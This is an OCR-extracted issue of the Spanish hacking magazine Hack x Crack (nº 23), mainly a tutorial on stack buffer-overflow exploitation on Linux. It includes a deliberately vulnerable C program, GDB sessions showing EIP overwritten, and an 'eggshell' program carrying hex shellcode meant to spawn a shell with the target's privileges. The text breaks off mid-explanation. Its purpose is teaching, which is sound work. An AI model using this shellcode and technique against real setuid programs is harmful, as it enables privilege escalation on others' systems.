SlideShare una empresa de Scribd logo
HACK X CRACK:          ESTUDIANDO LOS ATAQUES POR BUFFER-OVERFLOW

                               P
                               P
                               A
                               A
                               S
                               S
                               O
                               O
P A S Oa
P A   Oa
       a
       a
       a
       a
       a
       aa
        a
        a
        a
        a
        a
                                   3 SERVIDORES ON LINE PARA TUS PRACTICAS DE HACK




                                   LOS MEJORES ARTÍCULOS GRATIS EN NUESTRA WEB




    EL PROTOCOLO MAS
    UTILIZADO POR LOS



  DETECCION DE ATAQUES


     TRACEO DE CONEXIONES


 DESTRUCCION DE FIREWALLS


  DEGRADACION DE SERVICIOS

    EL CONOCIMIENTO EN
        ESTADO PURO                            ¿Cómo funcionan?
    Nº 23 -- P.V.P. 4,5 EUROS
                       00023




     8 414090 202756



    P C PA S O A PA S O : C U R S O D E D I S E Ñ O D E C O R TA F U E G O S
Hxc23
P
                                     A
                                     S
                                     O
               aa
        P A S Oaa
               aa
               a
               a
               aa
                a
                a
                a
                a
                a
                a
                aa

                                                    Director de la Publicación
  EDITORIAL:           EDITOTRANS S.L.              J. Sentís
  C.I.F:               B43675701
  PERE MARTELL Nº 20, 2º - 1ª                       E-mail contacto
  43001 TARRAGONA (ESPAÑA)                          director@hackxcrack.com
  Director Editorial
  I. SENTIS                                         Diseño gráfico:
  E-mail contacto                                   J. M. Velasco
  director@editotrans.com
  Título de la publicación
  Los Cuadernos de HACK X CRACK.                    E-mail contacto:
  Nombre Comercial de la publicacíón                grafico@hackxcrack.com
  PC PASO A PASO
  Web: www.hackxcrack.com
  Dirección: PERE MARTELL Nº 20, 2º - 1ª.           Redactores
              43001 TARRAGONA (ESPAÑA)              AZIMUT, ROTEADO, FASTIC, MORDEA, FAUSTO,
                                                    ENTROPIC, MEIDOR, HASHIMUIRA, BACKBONE,
                                                    ZORTEMIUS, AK22, DORKAN, KMORK, MAILA,
                                                    TITINA, SIMPSIM... ... ... ... ...
  ¿Quieres insertar publicidad en PC PASO A         Contacto redactores
  PASO? Tenemos la mejor relación precio-difusión
  del mercado editorial en España. Contacta con
                                                    redactores@hackxcrack.com
  nosotros!!!
                                                    Colaboradores
  Sr. Ruben Sentis                                  Mas de 130 personas: de España, de Brasil, de
  Tfno. directo: 652 495 607                        Argentina, de Francia, de Alemania, de Japón y
  Tfno. oficina: 877 023 356
  E-mail: publicidad@editotrans.com
                                                    algún Estadounidense.
                                                    E-mail contacto
                                                    colaboradores@hackxcrack.com
                                                    Imprime
                                                    I.G. PRINTONE S.A. Tel 91 808 50 15
    4     Buf f er Ov er f low
   13     Colabora con PC P aso a P aso             DISTRIBUCIÓN:
   14     Pr o t ocolo ICMP                         SGEL, Avda. Valdeparra 29 (Pol. Ind.)
                                                    28018 ALCOBENDAS (MADRID)
   38     Conoce los Fir e wall (II)                Tel 91 657 69 00 FAX 91 657 69 28
   66     Suscribe t e a PC P aso a P aso           WEB: www.sgel.es
   67     N umer os atrasados

                                                    TELÉFONO DE ATENCIÓN AL CLIENTE: 977 22 45 80
                                                    Petición de Números atrasados y Suscripciones (Srta. Genoveva)
                                                    HORARIO DE ATENCIÓN:                DE 9:30 A 13:30
                                                                                       (LUNES A VIERNES)
                                                    © Copyright Editotrans S.L.
                                                    NUMERO 23 -- PRINTED IN SPAIN
                                                    PERIOCIDAD MENSUAL
                                                    Deposito legal: B.26805-2002
                                                    Código EAN:      8414090202756


P IDE L O S NUMEROS ATRASADO S EN - - > WWW.HACKXCRAC K .C OM
Como explotar fallos
                       Buffer-Overflow
               Seguro que UNA Y MIL VECES has leido en Internet y/o revistas de Informatica lo siguiente:
                  Ha sido descubierto tal y cual agujero de seguridad tipo BUFFER OVERFLOW y que es
                                "explotable" mediante tal o cual exploit y bla, bla, bla...
               SEGURO QUE SIEMPRE TE HAS PREGUNTADO COMO FUNCIONA ESO DE LOS EXPLOITS: MUY BIEN, PUES
                                           PREPARATE PARA DESCUBRIRLO!!!

Yo, igual que tu, que estas leyendo este artículo, siempre
que veía esas alertas de Buffer Overflow en los portales de                que una persona puede realizar. Al principio no sabrás ni tenerte
seguridad me preguntaba… … ¿Cómo funcionan los exploits?                   en pie, pero poco a poco aprenderás a caminar (y por el camino
¿Cómo se provocan los Buffer-Overflow? ¿En qué consisten?                  encontrarás foros, personas y Webs que ya nunca abandonarás).

Una noche de esas en que vuelves de fiesta, a eso de las               Para empezar quédate con la idea de que en el sistema
dos de la mañana me dio por sentarme un rato en el                     decimal (su nombre ya lo dice) hay 10 cifras, del 0 al 9.
servidor linux que tengo en mi casa/oficina. Navegando un              En cambio el sistema Hexa hay 16 cifras:
poco, me encontré con un tutorial bastante bueno sobre                 0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F (como ya no quedan más
el tema y decidí estudiarlo. Este artículo es, en esencia, el          números, llegado el 9 se sigue con letras).
resultado de haber estudiado ese y otros documentos
relacionados.                                                          Decir 5 en decimal equivale a 0x5 en Hexa, no hagas
                                                                       mucho caso del 0x que aparece antes del cinco, es solamente
La intención es que puedas contar con una Guía Básica,                 una convención para hacer notar que se trata de números
pero lo más completa posible, acerca de lo que es un exploit           hexadecimales.
por Buffer Overflow y de cómo implementarlo.
                                                                       Pero las cosas se ponen interesantes cuando queremos
Para no tener problemas en la lectura de esta guía, es                 saber cómo se representa un 10 decimal en sistema
recomendable que puedas entender, al menos por encima,                 Hexadecimal. Si has puesto un poco de atención, ya habrás
un programa escrito en C, ya que es el lenguaje que                    adivinado (más bien dicho deducido), la respuesta es 0xA.
utilizaremos para desarrollar los exploits. Sería también de           Veamos algunos ejemplos para aclarar la figura:
gran ayuda tener algo de dominio sobre el sistema de
numeración hexadecimal, aunque, para todos aquellos que
                                                                         1 en decimal equivale a 0x01 en Hexadecimal (el cero
no lo controlan, apuntaré todos los detalles cuando nos
                                                                       a la izquierda de 1, en rojo, se coloca solo por claridad)
enfrentemos con estos números.

                                                                         10 en decimal equivale a 0x0A en Hexadecimal (el cero

    !              En esta misma...
                                                                       a la izquierda de A, en rojo, se coloca solo por claridad)

                                                                        15 en decimal equivale a 0x0F en Hexadecimal (el cero
    En esta misma publicación, ya se hizo una breve introducción a     a la izquierda de F, en rojo, se coloca solo por claridad)
    la programación en C en Linux. En su día advertimos que en un
    futuro cercano sería necesario tener unos mínimos conocimientos      16 en decimal equivale a 0x10 en Hexadecimal; 17 en
    de Linux y C, esperamos que tomases nota                           decimal sería 0x11 en Hex, etc.

    Si no es tu caso, te recomendamos que empieces a hacer tus
                                                                       Con esto debería ser suficiente para entender como
    "pinitos" en C, hay miles de tutoriales de C en Internet
                                                                       funcionan los hexadecimales, pero TE RECOMENDAMOS
    (www.google.com). La idea NO ES que aprendas a programar
                                                                       estudies profundices en el tema por tu cuenta (busca en
    en "plan profesional", sino que te inicies y tengas unas mínimas
                                                                       www.google.com)
    nociones para poder entender código sencillo.
                                                                       Un apunte final: cuando hablamos de ordenadores se usa
    No desesperes, nadie nace sabiendo. Lo que sí te aseguramos es
                                                                       el sistema hexadecimal, porque así nos resulta más fácil
    que aprender a programar es, posiblemente, la mejor inversión
                                                                       visualizar a nivel humano las cantidades binarias con las

 Página 4                                                                                                        PC PASO A PASO Nº 23
Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow




que se maneja un ordenador. Como sabes, un byte son                Vulnerabilidad: una falla de un programa que permite
ocho bits, y si investigas un poco verás que es posible          a un atacante hacer cosas que en teoría no podría hacer.
representar hasta 16 números con 4 bits (del 0000 al 1111)
y OH! coincidencia, 16 es justo la cantidad base del sistema       Exploit: Denominaremos Exploit al hecho de aprovecharse
Hexa, por lo que con dos números hexa podemos representar        de una vulnerabilidad.
un byte.
                                                                   Core Dump: Es una fotografía el estado de ejecución
Veamos un ejemplo, el byte 01011111 sería 0x5F en Hexa,          de tu ordenador justo antes de que un programa fallara,
que como ves es más fácil (al menos en teoría) de tratar         usualmente se almacena como un archivo llamado core.
que toda una sarta de ceros y unos.
                                                                   GDB: General DeBugger, se utiliza para seguir paso a
Con lo dicho dejamos atrás la discusión sobre sistemas           paso la ejecución de un programa y en nuestro caso
numéricos y entramos un poco más en materia.                     también para examinar los archivos core.
Para comprender algunos de los conceptos de esta guía he
                                                                   Shellcode: Es una tira de instrucciones (“mini-programa”)
optado por definirlos de antemano y no dejarte en el aire
                                                                 escritas en ASM y codificadas en Hexadecimal, que es
con nada que se "sobre entienda", vamos allá:
                                                                 usualmente lo que queremos que se ejecute una vez
                                                                 producida la falla.
  ASM: es la abreviación de ASSEMBLER, "lenguaje
ensamblador". El lenguaje más cercano a la máquina que
                                                                    NOP: instrucción en ASM que significa No Operation,
puede ser comprendido por lo humanos.
                                                                 es decir no haga nada. Lo único que hace es incrementar
                                                                 en uno el registro de siguiente instrucción (EIP) y ejecute
  Buffer: Un espacio en el que se almacenan datos de             lo que allí se encuentre. En nuestro caso servirá para que
forma temporal.                                                  el procesador “examine” la memoria hasta que se encuentre
                                                                 con nuestro Shellcode.
  Registro: Es un espacio de memoria interna en el núcleo
del procesador que controla la ejecución de los programas.         lil endian: es la forma en la que las direcciones de
Existen varios tipos de registros, cada uno con una utilidad     memoria son almacenadas en la mayoría de los sistemas
específica.                                                      (El byte bajo primero)

En general podemos asimilarlos como cajas en las que el            EggShell: Es un programa que nos permite cobijar el
procesador coloca datos que luego utiliza. Por ejemplo,          ShellCode. De la traducción literal podemos decir que es
para sumar dos números, digamos 1 + 2, el procesador             algo así como un cascaron para nuestro Shellcode. Su
coloca el número 1 en el registro AX (la instrucción en ASM      objetivo es colocar el ShellCode en una dirección de
sería mov 01,AX) luego coloca 2 en el registro BX (mov           memoria conocida de forma que podamos hacer que el
02,BX) y luego ejecuta la suma (sum en ASM), el resultado        EIP apunte a la instrucción en ASM del ShellCode.
se almacenará en CX, esto último por definición y sin
haberle dicho al procesador en donde almacenar dicha               SetUid/SetGid: Estos son permisos de ejecución. Si
suma.                                                            están puestos, significa que cuando se ejecute un programa
                                                                 este correrá bajo privilegios de un usuario distinto.
Que quede claro que este es solo un ejemplo de la lógica
de funcionamiento de los registros. Al igual que los registros     Shell: La interfase interactiva que utilizamos para
de uso general que hemos tocado (el AX y el BX), existen         comunicarnos con el ordenador.
otros registros como el puntero a instrucciones, o el de
                                                                   Perl: Es un lenguaje de programación muy utilizado
Base de pila que tienen otras funciones.
                                                                 para construir aplicaciones CGI para la Web. Perl es un
   EIP: Es el registro que almacena la dirección de la           acrónimo de Practical Extracting and Reporting Languaje,
siguiente instrucción que debe ejecutar el procesador. IP        que viene a indicar que se trata de un lenguaje de
por Instruction Pointer (puntero a instrucción)                  programación muy práctico para extraer información de
                                                                 archivos de texto y generar informes a partir del contendido
                                                                 de los ficheros.
  EBP: Puntero a base (Base Pointer), apunta al elemento
más alto de la pila. La pila (stack) es una estructura de
                                                                 Listo, hemos terminado con los conceptos preliminares,
datos que utiliza el procesador para ayudarse en la ejecución
                                                                 ahora un poco de teoría. De lo que se trata en un ataque
de los programas.

 PC PASO A PASO Nº 23                                                                                           Página 5
Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow




   de esta clase, es llegar a controlar el contenido del registro      Implementando un ataque en la práctica
   EIP (instruction pointer). ¿Por qué? pues porque si
   controlamos su contenido podemos decirle que apunte a               Este tipo de ataque es una vulnerabilidad común en cualquier
   la dirección de memoria que queramos y esa, por supuesto,           plataforma y, de lejos, es la más usual en sistemas
   será la ubicación en la que hayamos guardado nuestro                operativos Unix/Linux.
   ShellCode.                                                          Como ya se ha dicho antes, este ataque tiene como objetivo
                                                                       cambiar el flujo de ejecución de un programa para que
                                                                       apunte a una dirección de memoria diferente, en donde
                                                                       se coloca previamente un código propio (el que nosotros
                                                                       queramos)

                                                                       La memoria (en plataformas X86) está organizada en
                                                                       segmentos de 4 bytes (32 bits) y se podría asemejar a
                                                                       una muy larga fila de cajas etiquetadas secuencialmente.
                                                                       Cada caja sería una dirección de memoria y su etiqueta
                                                                       la dirección que le corresponde.

                                                                       Los programas se organizan colocando las instrucciones
                                                                       "en fila", en un segmento de memoria destinado al efecto.
                                                                       Y en otros segmentos se colocan otros elementos (por
                                                                       ejemplo datos). El procesador se encarga de obtener el
                                                                       contenido de esas direcciones de memoria, y vaciarlo en
                                                                       sus registros internos, posteriormente decodifica dicho
                                                                       contenido (cuando se trata de instrucciones) y actúa en
                                                                       consecuencia.

                                                                       Generalmente este esquema funciona bien, salvo cuando
                                                                       por alguna razón un segmente destinado a recibir algún
                                                                       dato es sorprendido con una cantidad de información
                                                                       superior a la que puede recibir físicamente (hay mas huevos
                                                                       que cajas para contenerlos), veamos un ejemplo de un
                                                                       programa que es sensible a un ataque de Buffer-Overflow.


                                                                            !             Recuerda que...
Dibujo 1. Esquema delUna parte importante de nuestro ShellCode
funcionamiento de un estará compuesta por NOPS, el comando en
ataque por Buffer-   ASM que indica que no se haga nada, solo              Recuerda que para trabajar deberás usar una cuenta que no sea
Overflow             incrementar el EIP y avanzar hacia la siguiente       root. La cuenta root no genera volcados de memoria cuando un
                     instrucción. Este truco nos facilita el apuntar       programa ejecutado con sus privilegios falla.
   más fácilmente a la dirección en donde esta nuestro
   ShellCode. Es mejor disponer de un rango lo más amplio
   posible para acertar con nuestro código de estar obligados                                            vuln1.c
   a apuntar directamente a donde comienza el ShellCode.               #include <stdio.h>
                                                                       #include <string.h>
   Veamos un ejemplo:                                                  int main(int argc, char **argv)
                                                                       {
   0xBFFFFCA8:NOP                                                                   char buff[512];
   0xBFFFFCAC:NOP                                                                   if(argc < 2)
   0xBFFFFCB2:SHELLCODE                                                             {
                                                                                                  printf("Uso: %s <nombre>n", argv[0]);
   EIP-> : 0xBFFFFCA8                                                                             exit(0);
                                                                                    }
   En este caso hemos conseguido que el EIP apunte un poco                          strcpy(buff, argv[1]);
   antes del ShellCode, no importa, pues como tenemos                               printf("Hola: %sn", buff);
   instrucciones NOP el mismo procesador se encargará de                            return 0;
   avanzar hasta encontrar el ShellCode y ejecutarlo.                  }


      Página 6                                                                                                  PC PASO A PASO Nº 23
Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow




Una vez trascrito a tu editor de texto favorito, no me refiero            Esta orden invoca al compilador de C "GCC" y le pide
a un procesador de textos como Word, sino a vi, nano o                    compilar el programa fuente vuln1.c y crear un ejecutable
cualquier otro de esa clase (editor de texto plano).                      de nombre vuln1.


         !              Para seguir...                                       !              El texto que...

        Para seguir con los ejemplos deberás disponer de un shell Linux      El texto que aparece como "server1 kublai $" es el prompt de mi
        (Gentoo en mi caso) con GCC y GDB instalados (casi todas las         ordenador, en el tuyo aparecerá algo similar y variará un poco
        distribuciones los instalan por defecto)                             dependiendo de la distribución de Linux que uses y de la
                                                                             configuración de tu entorno de línea de comandos.

A continuación tienes una imagen de como se ve el programa                A continuación probamos que el programa haya sido
en mi sistema                                                             compilado correctamente, es decir, lo ejecutamos (en rojo)
                                                                          y obtenemos el resultado (en verde):

                                                                          server 1 kublai $ ./vuln1
                                                                          Uso: ./vuln1 <nombre>


                                                                             !              Fíjate en que...

                                                                             1.- Fíjate en que debemos colocar un ./ (punto barra) antes del
                                                                             vuln1, esto es así, porque nos encontramos en el mismo directorio
                                                                             en el que está el ejecutable.

                                                                             2.- Si el programa no se ejecutara o incluso si hubieras tenido
                                                                             problemas al compilarlo, revisa el código fuente, como sabes,
                                                                             olvidar un punto al programar, puede significar que el programa
                                                                             no funcione en lo absoluto o que ni siquiera llegue a compilarse.


                                                                          Si todo ha ido bien, tendrás un pequeño programa que
                                                                          hace lo que se supone que debe hacer, mostrar el mensaje
                                                                          hola <nombre> cuando se le invoca con un parámetro
                                                                          desde la línea de comando o en texto Uso: ./vuln1
                                                                          <nombre> cuando se le invoca sin ningún parámetro.

                                                                          Veamos ahora, como explotar la vulnerabilidad de nuestro
                                                                          recién creado programa, ejecutemos el siguiente comando:

                                                                          server 1 kublai $ ./vuln1 `perl -e'print "A"x10'`
                                                                          Hola: AAAAAAAAAA

                                                                          Examinenos esta línea con un poco de detenimiento. En
                                                                          lugar de colocar nuestro nombre (o las 10 letras A en
                                                                          mayúsculas), hemos ejecutado un pequeño script en PERL.
                      Como decía, una vez trascrito deberemos
Dibujo 2. Vista del                                                       La opción -e le dice a PERL que ejecute lo que esta dentro
                      compilarlo, ejecutando la orden (en rojo):
código fuente del                                                         de las comillas simples, que en nuestro caso se traduce
programa vuln1.c                                                          como imprimir la letra A mayúscula 10 veces.
                      server 1 kublai $ gcc vuln1.c -o vuln1


   PC PASO A PASO Nº 23                                                                                                           Página 7
Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow




    !              Pon atención...                                           entorno (con una cuenta normal), total es solo un programita de
                                                                             una cuantas líneas y seguro que te será más fácil volverlo a
    1.- Pon atención a las comillas simples invertidas (en rojo) antes       escribir.
    de la palabra perl y al final. Estas comillas suelen obtenerse
    presionando dos veces la tecla que muestra un acento invertido,          Si aún así no funciona el core dumped, ejecuta el comando ulimit
    en los teclados normales es la tecla que hay a la derecha de la          -c unlimited, asegurate también de tener permisos en el directorio
    tecla P.                                                                 de trabajo y de que tu ejecutable no sea suid… como dijimos al
                                                                             principio, este tipo de archivos no generan volcados de memoria.
    2.- Y ojo con esa “comilla simple” no invertida después de –e
    y después del 10 (en verde). En los teclados normales está a la      Afinemos un poco. Si te fijas en el código fuente, la variable
    derecha del cero.                                                    buff es de 512 bytes, y nosotros hemos metido 1000 veces
                                                                         la letra A. Está claro que el programa no ha podido procesar
                                                                         esa cantidad de datos, pero veamos que ocurre si colocamos
    ./vuln1 `perl -e'print "A"x10'`
                                                                         solo 512 letras A.

Aparentemente, todo esto parecería un poco fuera de lugar,
                                                                         server1 kublai $ ./vuln1 `perl -e'print "A"x512'`
después de todo, bastaba con escribir la letra A diez veces
                                                                         Tu nombre es:
¿verdad? Pues sí, es cierto, pero… ¿qué pasa cuando
                                                                         AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
queremos escribir 1000 veces la A y no solo 10? Bueno,
                                                                         AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
esa es la razón para armar este tinglado. Ahora que somos
unos pequeños expertos en PERL, veamos como usar                         AAAAAAAAAAAAAAAAAA                       NOTA: Habrían 512 letras A

nuestro nuevo conocimiento ;p
                                                                         El programa no falla. La lógica indica que si la variable
Ejecutemos una línea parecida a la última, pero en lugar                 esta definida como de 512 bytes de capacidad, entonces
de 10, hagamos que PERL nos imprima 1000 Veces la letra                  debería fallar con solo una A más. Vamos a intentarlo:
A
                                                                         server1 kublai $ ./vuln1 `perl -e'print "A"x513'`
server1 kublai $ ./vuln1 `perl -e'print "A"x1000'`                       Tu nombre es:
Tu nombre es:                                                            AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA                                    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA                                    AAAAAAAAAAAAAAAAAA                        NOTA: Habrían 513 letras A

AAAAAAAAAAAAAAAAA          NOTA: Habrían 1000 letras A
                                                                         SORPRESA!!!, el programa es capaz de digerir 513 bytes.
Segmentation fault (core dumped)
                                                                         Llegados aquí deberemos tantear un poco incrementando
HECHO!!!, acabamos de conseguir que nuestro programa                     ligeramente el valor hasta encontrar la frontera, en mi
falle y que se produzca un volcado de memoria                            caso la frontera la he encontrado en 524, 12 bytes más
---->Segmentation fault (core dumped). Con suerte                        arriba.
habremos generado un archivo core en nuestro directorio
de trabajo, para verificarlo ejecuta el comando ls.                      Este hecho, me desconcertó y me puse a investigar a que
                                                                         podría deberse, para ello cambié la definición de la variable
                                                                         buff utilizando tres valores distintos y tanteando las fronteras
    !              Si por alguna razón...                                de cada uno de ellos, estos fueros mis resultados:

    Si por alguna razón no se ha generado el archivo core, es probable   Long. de la variable buff        Frontera del Core Dumped
    que estés trabajando como root, mala idea. Cámbiate a una            ---------------------------------------------------------------
    cuenta normal, cambia los permisos de todos tus archivos y           10                               28
    vuélvelo a intentar.                                                 512                              524
                                                                         2048                             2060
                                                                         ---------------------------------------------------------------
    Si no sabes como cambiar los permisos o tienes problemas, es
    mejor que vuelvas a empezar desde el principio en tu nuevo



 Página 8                                                                                                           PC PASO A PASO Nº 23
Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow




Por lo que concluyo que incluso al definir una variable con                Como vemos, este comando nos muestra el contenido de
una cantidad dada de bytes, existe una holgura aproximada                  los registros del microprocesador, justo antes del fallo.
de entre unos 12 y 18 bytes.
                                                                           Nosotros estamos interesados, en los registros EBP e EIP.
Bueno, con el terreno un poco más firme debajo de nuestro
piés, continuemos... Ya sabemos como lograr un Core                        El primero muestra que su contenido era 0x41414141.
Dumped, es decir que hemos descubierto el fallo de Buffer-                 Recordemos un poco la teoría de la que hablamos al
Ovreflow del programa. Ahora veamos qué información                        comienzo sobre sistemas de numeración.
podemos obtener del archivo core (el que genera el sistema
al fallar nuestro programa), para ello ejecutaremos el                     0x41414141 ¿que es esto?, esta claro, una cifra en
depurador:                                                                 Hexa. ¿Que significa?, eso no está tan claro, diseccionemos
                                                                           para descubrirlo.
server1 kublai $ gdb -c core vuln1
GNU gdb 6.0                                                                Primero, dijimos que los ordenadores funcionan con bytes,
Copyright 2003 Free Software Foundation, Inc.                              ahora sabemos que un byte son ocho bits, y que con una
...                                                                        cifra hexa podemos cubrir cuatro bits, por lo que para
This GDB was configured as "i686-pc-linux-gnu"...Using host libthread_db   cubrir un byte necesitamos dos cifras hexa. Bajo es
library "/lib/libthread_db.so.1".                                          perspectiva el número 0x41414141, puede separarse en
Core was generated by `./vuln1 AAAAAAAAAAAAAAAAAAAAAAAAAAAA'.              cuatro cifras 41, así pues tenemos 41 41 41 41.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.                                A continuación intentemos descubrir qué hay detrás de
Loaded symbols for /lib/libc.so.6                                          esto. Primero: "son cuatro cifras iguales". Segundo: ¿Que
Reading symbols from /lib/ld-linux.so.2...done.                            podrán significar? En principio nada, pero si se tiene un
Loaded symbols for /lib/ld-linux.so.2                                      poco de práctica con el código ASCII descubrirás que se
#0 0x40035710 in __libc_start_main () from /lib/libc.so.6                  trata del equivalente Hexa para el código ASCII de
(gdb)                                                                      la letra A.

Una vez dentro del depurador ejecutaremos el comando
"info reg", veamos:                                                           !              Se trata...

(gdb) info reg                                                                “se trata del equivalente Hexa para el código ASCII de la
eax          0x0                           0                                  letra A”
ecx          0x4                            4
edx          0x40143fe8                   1075068904                          ¿No entiendes esta frase? Malo, malo… ya tratamos en números
ebx          0x40143a00                   1075067392                          anteriores el tema del código ASCII.
esp          0xbffff780                   0xbffff780
ebp          0x41414141                   0x41414141                          Venga, plan rápido y “a lo bestia”: cada símbolo de tu teclado
esi          0x40012020                   1073815584                          tiene un equivalente numérico y para averiguarlo existe una tabla
edi          0xbffff7c4                   -1073743932                         (la tabla ASCII).
eip          0x40035710                    0x40035710
eflags       0x10246                      66118                               Pasa unas cuantas páginas y sitúate al final de este artículo. Te
cs           0x23                         35                                  hemos puesto una tabla (una tabla ASCII).
ss           0x2b                         43
ds           0x2b                         43                                  Fíjate bien que el símbolo A (es decir, la tecla A de tu teclado)
es           0x2b                         43                                  tiene en ASCII el valor 65 (te hemos puesto un circulito rojo).
fs           0x2b                         43                                  Este valor (el 65) es un valor en “formato decimal”, y fíjate
gs           0x2b                         43                                  también que el número 65 traducido a “formato hexadecimal
                                                                              (HEX)” es 41 :)



      PC PASO A PASO Nº 23                                                                                                          Página 9
Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow




Desvelemos el misterio (aunque con lo comentado en la                 Core was generated by `./vuln1
nota anterior ya deberías imaginártelo). Fijémonos en la              AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                                      AAAAAAAAAAAAAAAAAAAAAAAAAAA'.
siguiente tabla y en como se obtiene en código ASCII en
                                                                      Program terminated with signal 11, Segmentation fault.
decimal a partir de nuestros datos en Hexa:
                                                                      Reading symbols from /lib/libc.so.6...done.
                                                                      Loaded symbols for /lib/libc.so.6
                                                                      Reading symbols from /lib/ld-linux.so.2...done.
                                                                      Loaded symbols for /lib/ld-linux.so.2
                                                                      #0 0x41414141 in ?? ()
Finalmente, descubrimos que el número 65 en decimal,
corresponde al 41 en Hexa, (0x41). Esto es así si                     Una vez dentro del depurador ejecutaremos el comando
consideramos que debemos descifrar el número en Hexa                  "info reg", veamos:
a partir del número escrito en binario y dividiéndolo en
grupos de cuatro cifras binarias por cada cifra Hexa, cosa            (gdb) info reg
que queda muy clara para la primera cifra y que en el caso
                                                                      eax         0x0               0
de la segunda sería como se muestra a continuación:
                                                                      ecx         0x40141e00        1075060224
                             Notas como el 1 debajo del               edx         0x21              543
                             4 indica el valor de la cifra            ebx         0x40143a00        1075067392
                             en hexa, el truco consiste               esp         0xbffff580        0xbffff580
en pensar que los unos son como puerta que dejan paso                 ebp         0x41414141        0x41414141
a las potencias de dos de la fila de arriba. Es todo, no
                                                                      esi         0x40012020        1073815584
hablemos más de sistemas numéricos. Considero que es
importante conocerlos pero que si abundo en el tema me                edi         0xbffff5c4        -1073744444
saldré de contexto.                                                   eip         0x41414141        0x41414141
                                                                      eflags      0x10246           66118
Volvamos a lo nuestro. Como dijimos, la letra A tiene como            ...
código Hexa el 0x41, por lo que "sin quererlo" hemos                  gs          0x2b              43
colocado un valor "controlado" en el registro EBP.
                                                                      (gdb)

Continuemos… nuestra intención, como dijimos en un
principio, no es modificar el contenido del registro EBP sino         Ahora sí, hemos conseguido modificar el registro EIP
el del registro EIP; pero por suerte, el registro EIP esta            colocándolo en el AAAA o, lo que es lo mismo, 0x41414141.
solo 4 bytes más allá. Sabemos que la frontera esta en
524 así que si modificamos nuestra línea de comando y                 Perfecto, ahora podremos apuntar a una dirección conocida
ejecutamos:
                                                                      y ejecutar nuestro código, y no se me ocurre algo mejor

server1 kublai $ ./vuln1 `perl -e'print "A"x528'`                     para ejecutar que un shell con permisos de root.
Tu nombre es:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA                               El entendimiento de cómo funciona un ShellCode queda
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA                               por el momento fuera del contexto de esta guía, pero
AAAAAAAAAAAAAAAAAA                   NOTA: Habrían 528 letras A       baste decir que será objeto de otro artículo. Entretanto,
Segmentation fault (core dumped)                                      diremos que se trata de una sarta de código en Hexa que
                                                                      para el procesador se entienden como instrucciones y que
obtendremos lo siguiente en el depurador:
                                                                      nosotros colocaremos allí donde queramos que apunte
server1 kublai $ gdb -c core vuln1                                    nuestro EIP.
GNU gdb 6.0
Copyright 2003 Free Software Foundation, Inc.                         Como el ShellCode no puede colocarse sin más en la
...                                                                   memoria deberemos colocarlo primero en un contenedor
GDB was configured as "i686-pc-linux-gnu"...Using host libthread_db
                                                                      al que denominaremos EggShell, veamos el código fuente
library "/lib/libthread_db.so.1".
                                                                      de este programa.



 Página 10                                                                                                PC PASO A PASO Nº 23
Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow




                              egg1.c                                      Para finalizar exportamos la variable shell como EGG al
                                                                          entorno y ejecutamos un procesador de comando bash…
   #include <stdio.h>                                                     … ¿ves como es necesario un poquito de C para iluminar
   #define NOP 0x90                                                       tu mente?... … te lo advertimos en su momento

   char shellcode[] =                                                     Veamos lo que sucede cuando ejecutamos este programa:
   "x31xc0x31xdbx31xd2x53x68x69x74x79x0ax68x65x63"
   "x75x72x68x44x4cx20x53x89xe1xb2x0fxb0x04xcdx80"         server1 kublai $ ./egg1
   "x31xc0x31xdbx31xc9xb0x17xcdx80x31xc0x50x68x6e"         Eggshell cargado.
   "x2fx73x68x68x2fx2fx62x69x89xe3x8dx54x24x08x50x53"     bash-2.05b$
   "x8dx0cx24xb0x0bxcdx80x31xc0xb0x01xcdx80";
                                                                          Listo, ya tenemos nuestro código en memoria ahora resta
   int main(void)                                                         ubicarlo y ejecutarlo. Para ello nos serviremos de un
   {                                                                      pequeño programa que nos ayudara en esta tarea:
     char shell[512];
     puts("Eggshell cargado.");                                                                      eggfind.c
     memset(shell,NOP,512);
     memcpy(&shell[512-strlen(shellcode)],shellcode,strlen(shellcode));   #include <stdio.h>
     setenv("EGG", shell, 1);
     putenv(shell);                                                       int main(void)
     system("bash");                                                      {
     return(0);                                                             printf("0x%lxn", getenv("EGG"));
   }                                                                        return 0;
                                                                          }

Lo primero que llama la atención es la cadena shellcode                   una vez compilado (server1 kublai $ gcc eggfind.c -o
(en azul). Esta es la parte medular del exploit y lo que                  eggfind) lo ejecutaremos para obtener:
contiene son instrucciones codificadas en ASM y escritas                  0xbffff8c5
en formato Hexadecimal. Explicar qué es cada una de estas
instrucciones será el motivo de un próximo articulo en el                 Esta es la dirección en donde se almacena el código de
que veremos cómo crear ShellCodes a medida.                               nuestro shellcode, sin embargo para lanzar el ataque final
                                                                          falta un pequeño detalle, debemos convertir la dirección
Por lo pronto, deberá bastarnos con saber que esta cadena                 a un formato que el registro interprete correctamente:
en Hexa, lo que hace es invocar una sesión Shell y
proporcionarnos un prompt que tendrá los mismos privilegios               1.- En principio tenemos 1 grupo de 4 bytes:
que el programa vuln1, que es el programa que estamos
atacando.                                                                            bf      ff      f8      c5
                                                                                    Byte1 Byte2 Byte3 Byte4
Las dos primeras líneas de este programa (en verde) no                                  (1 Grupo de 4 Bytes)
